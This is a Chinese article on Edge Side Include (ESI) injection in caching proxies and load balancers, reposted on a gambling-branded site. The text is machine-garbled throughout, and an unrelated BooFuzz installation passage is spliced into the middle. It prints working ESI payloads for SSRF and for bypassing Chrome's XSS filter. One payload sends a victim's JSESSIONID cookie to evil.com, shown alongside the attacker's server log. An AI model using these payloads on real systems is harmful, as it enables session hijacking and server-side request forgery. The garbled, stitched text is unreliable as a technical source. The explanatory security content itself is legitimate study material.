浅析Edge Side Include注入(上) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

浅析Edge Side Include注入(上)

申博_安全防护 申博 147次浏览 未收录 0个评论

 

媒介

在某次评价客户资产平安时,我们发明Edge Side Includes (ESI)的符号言语存在异常行动,这类言语在HTTP中间件中被普遍运用(比方:反向署理,平衡负载,缓存效劳器和署理效劳器等等)。我们发明ESI进击能够形成SSRF,多种XSS进击(疏忽HTTPOnly等cookie保护措施)和基于效劳端的谢绝效劳进击。这类进击手艺被称为:ESI注入。

经进一步研讨,我们发明浩瀚盛行效劳都能够剖析处置惩罚ESI言语,比方:Varnish, Squid Proxy, IBM WebSphere, Oracle Fusion/WebLogic, Akamai, Fastly, F5, Node.js ESI, LiteSpeed和一些特别言语的插件。但不是一切效劳都默许开启ESI处置惩罚功用,这点我们背面再谈。

ESI概述

ESI言语是基于XML标签的符号言语,用于改良HTTP中间件加载大批Web内容缓存时形成的机能下落。运用ESI标签能够指导反向署理效劳器(或缓存效劳器)猎取已缓存Web页面模版的更多信息。通报给客户端的这些信息能够还来自另一台效劳器(非后端效劳器),该效劳器能够完全缓存包罗动态内容的页面。

ESI常常在存在少许动态数据而重大的静态页面的情况下运用。开发者能够把页面的动态内容替换为ESI标签,从而完成缓存的多样化。当用户要求该页面时,署理效劳器会剖析处置惩罚ESI标签,猎取内容,从而有用减轻后端效劳器的压力。

举个例子,有一个查询天色的网站,网站会准时缓存都市天色页面的内容,如下图,能够用ESI标签替代猎取动态数据的参数:

ESI语法划定规矩异常简朴,上面这个例子的HTML能够为:

<body>
  <b>The Weather Website</b>
  Weather for <esi:include src="/weather/name?id=$(QUERY_STRING{city_id})" />
  Monday: <esi:include src="/weather/week/monday?id=$(QUERY_STRING{city_id})" />
  Tuesday: <esi:include src="/weather/week/tuesday?id=$(QUERY_STRING{city_id})" />
[…]

最早的ESI言语范例在2001就已公布,但每一个效劳商的详细运用情况各不相同。效劳产物范例分歧,用到的功用天然不一样。这里能够读到关于原始范例的更多信息:http://www.w3.org/TR/esi-lang 。上面有符号言语用法和常常使用功用。有一些效劳商好比说Akamai和Oracle,它们在范例的基础上增加了一些其他功用。

存在的题目

HTTP中间件效劳器不克不及准确辨认ESI标签是来自上游效劳器照样歹意用户,换句话说,进击者能够注入歹意ESI标签,HTTP中间件会置信标签来自上游效劳器,而且自觉剖析而且转发。

当ESI剖析器剖析ESI标签时,只能剖析原始的<>(不克不及举行编码或许转义)。但现在Web运用一样平常都邑转义用户输入的特别字符来提防XSS进击,这会影响中间件效劳器对ESI标签的剖析。实际上,ESI标签不是只能以HTML的体式格局注入在效劳器内部的响应中。好比说JSON对象和CSV,开发者能够经由过程它们向缓存和静态数据页面增加动态参数。Fastly的博客曾宣布过一篇异常棒的文章,分享了运用JSON对象组织ESI标签的要领。现在的大局部框架一样平常会转义一切字符,我们常常能够瞥见JSON对象中有HTML字符串,但它们不会被浏览器视为HTML。然则这方便了进击者运用JSON组织ESI payload。

这类场景异常稀有,因为它一样平常不是ESI言语剖析器的默许处置惩罚对象。最常见的进击是ESI标签被后端效劳器处置惩罚后仍一成不变地反射在响应中,再交由平衡负载或署理效劳器处置惩罚剖析。明显,若是清理了用户输入,编码ESI标签,那中间件效劳器将不会处置惩罚它,如许能够防备XSS进击。

ESI注入

SSRF

能够说,ESI范例中运用最多最普遍的局部是“includes”。ESI Includes即标签,它会被署理效劳或许平衡负载等处置惩罚,然后发出一个侧端HTTP要求来猎取动态内容。进击者在HTTP响应中增加一个ESI include标签就能够形成SSRF进击,注重此时用户捏造的身份是“中间件效劳器”(非运用效劳器)。

举个例子,这个payload能够用于形成HTTP署理效劳器的SSRF进击:

初探BooFuzz

简介 Boofuzz是Sulley模糊测试框架的一个分支和继承者。除了修复了许多错误,boofuzz还提升了可扩展性。主要特性有以下几点: 轻松快速的数据生成方式; 仪表板支持AKA故障检测; 失败后的目标重置; 记录测试数据; 在线文档; 支持任意通信媒介; 内置支持串行模糊测试、以太网、IP层和UDP广播; 更好地记录测试数据——统一、彻底、清晰; 测试结果通过CSV导出; 可扩展的仪器/故障检测; 方便的安装体验; Install ubuntu;基于python2.x sudo apt-get install python-pip
git clone https://github.com/jtpereyda/boofuzz.git
cd boofuzz
sudo pip install . windows: git clone https://github.com/jtpereyda/boofuzz.git
pip install . 模块分析 Session pre_send() 发送数据后开始遍历Pgraph结构,并沿途fuzz每个组件。这个例子以’helo’ requet开头,一旦完成,将开始fuzz “maiL from” request。它通过在每个测试用例前面加上有效的“helo” request来实现。 接下来,将继续fuzz ‘rcpt to’ request。同样,这是通过在每个测试用例前面加上有效的“helo”和“mail from” request来实现的。等到该过程一直到”data” request完成后,又转回到从”ehlo”开始。通过构建的Pgraph

<esi:include src="http://evil.com/ping/" />

在有HTTP回调的情况下,中间件效劳器很轻易遭到ESI注入进击。然则ESI能够存在多种限定,好比处置惩罚ESI的效劳器不允许包罗非白名单内容的主机,如许进击者只能对白名单的效劳器实行SSRF进击。关于这点,在后续章节我会提到。下面是ESI SSRF进击示意图:

  1. 进击者发送照顾ESI payload的要求经由过程中间件效劳器,然后传给后端效劳器处置惩罚(ESI payload将会反应在响应中)。
  2. 中间件效劳器收到要求后,转发给响应的后端效劳器。
  3. 后端运用效劳器处置惩罚后,ESI payload反射在响应中,然后转发给中间件效劳器。
  4. 再次转发,ESI效劳器收到响应后,推断存在ESI标签而且剖析它,然后发送要求给evil.com
  5. ESI处置惩罚效劳器收到evil.com的响应后,与后端效劳器的响应组合起来,转发给中间件效劳器。
  6. 中间件效劳器通报完全的响应给用户端。

绕过客户端XSS过滤

客户端的XSS过滤的体式格局一样平常是将用户输入与页面的响应对照。GET中参数内容在响应内容中存在时,浏览器将实行一系列要领辨认反射的内容是不是为XSS payload。浏览器经由过程启发式显示辨认出payload是HTML或JavaScript后,进击就失利了。

然则,Chrome的XSS过滤器不克不及辨认ESI标签,这是因为ESI payload在客户端没法处置惩罚。为了演示ESI的魔幻的地方,我将局部XSS payload分配给ESI引擎处置惩罚,然后打印出效果。在浏览器处置惩罚JS之前,ESI引擎会处置惩罚JavaScript然后组织出完全的payload。从而绕过了XSS过滤器的搜检,下面是我的Payload:

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>
>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

<esi:assign>贮存了一个恣意变量给ESI变量。经由过程$(variable_name)接见这个变量。本例中var1值为cript。这个值被打印出来,构成<script>标签。返回的payload为:

<script>alert(/Chrome%20XSS%20filter%20bypass/);</script>

实际情况并非一切ESI产物都支撑自定义ESI变量。然则,若是能够运用“includes”,则能够实验指向某个包罗XSS payload的外部域。下面是应用ESI includes完成SSRF-XSS进击的一个简朴的例子:

poc.html:

<script>alert(1)</script>

注入包罗该页面的ESI标签:

GET /index.php?msg=<esi:include src="http://evil.com/poc.html" />

因为SSRF,受益效劳器将接见poc.html而且反射在页面,然后形成DOM型XSS。

绕过HttpOnly

依据实际需要,像署理效劳器和平衡负载如许的HTTP中间件一样平常能够猎取网站的HTTP要乞降响应。固然,这也包罗浏览器或效劳器发送的一切cookie值。开发人员能够经由过程ESI引擎援用cookies,依据cookies的状况来天真变通,完成其他功用。

防备以JavaScript体式格局盗取cookie的一样平常要领是运用HttpOnly标记。开发人员建立cookie时可开启该标记,开启后将谢绝JavaScript引擎接见cookie,从而阻挠经由过程XSS盗取cookie。然则ESI是在效劳器端处置惩罚,我们能够在上游效劳器通报给中间件效劳器时援用cookie。经由过程ESI includes提掏出cookie,设想一下,ESI引擎会怎样处置惩罚下面这个payload:

<esi:include src="http://evil.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />

检察我们掌握的evil.com 的HTTP日记文件:

127.0.0.1 evil.com - [08/Mar/2018:15:20:44 - 0500] "GET /?cookie=bf2fa962b7889ed8869cadaba282 HTTP/1.1" 200 2 "-" "-"

至此,绕过HttpOnly盗取Cookie也完成了。

 


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明浅析Edge Side Include注入(上)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址